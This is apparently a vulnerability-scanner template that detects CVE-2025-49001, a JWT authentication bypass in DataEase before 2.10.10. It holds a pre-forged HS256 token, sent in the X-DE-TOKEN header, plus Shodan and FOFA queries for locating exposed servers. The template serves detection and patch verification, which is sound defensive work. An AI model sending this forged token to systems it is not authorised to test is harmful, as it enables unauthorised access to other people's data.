id: CVE-2025-49001

info:
  name: DataEase < 2.10.10 - JWT Authentication Bypass
  author: YunSeoJo,aryu-ru
  severity: critical
  description: |
    DataEase < 2.10.10 contains a broken authentication caused by ineffective secret verification, letting users forge JWT tokens, exploit requires no special privileges.
  impact: |
    Users can forge JWT tokens, potentially gaining unauthorized access to the system.
  remediation: |
    Update to version 2.10.10 or later.
  reference:
    - https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r
    - https://github.com/dataease/dataease
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49001
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-49001
    cwe-id: CWE-287
    epss-score: 0.18517
    epss-percentile: 0.96878
  metadata:
    verified: true
    max-request: 2
    vendor: dataease
    product: dataease
    shodan-query: http.title:"DataEase"
    fofa-query: title="DataEase"
  tags: cve,cve2025,dataease,auth-bypass,jwt,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/de2api/user/info"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "token is empty")'
        condition: and
        internal: true

  - raw:
      - |
        GET /de2api/user/info HTTP/1.1
        Host: {{Hostname}}
        X-DE-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5fQ.tDSRWgqgE9BTy9NDpTE0ZAI2GKxOFPllYz-jOJu635A

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 400

      - type: word
        part: header
        words:
          - "de-gateway-flag"
          - "hmacsha256"
        condition: and
        case-insensitive: true

      - type: word
        part: body
        words:
          - "getWriter() has already been called"

    extractors:
      - type: kval
        part: header
        kval:
          - x_de_execute_version
# digest: 4a0a004730450220328c93568de4f9df388264e5b07e0d8ebfd64a78d91c658ac2ce0db1ddb2b5f4022100e6db8df75f92821f258bc838484e4af58b9771f2fb3634e0d0d2078ede003980:922c64590222798bb761d5b6d8e72950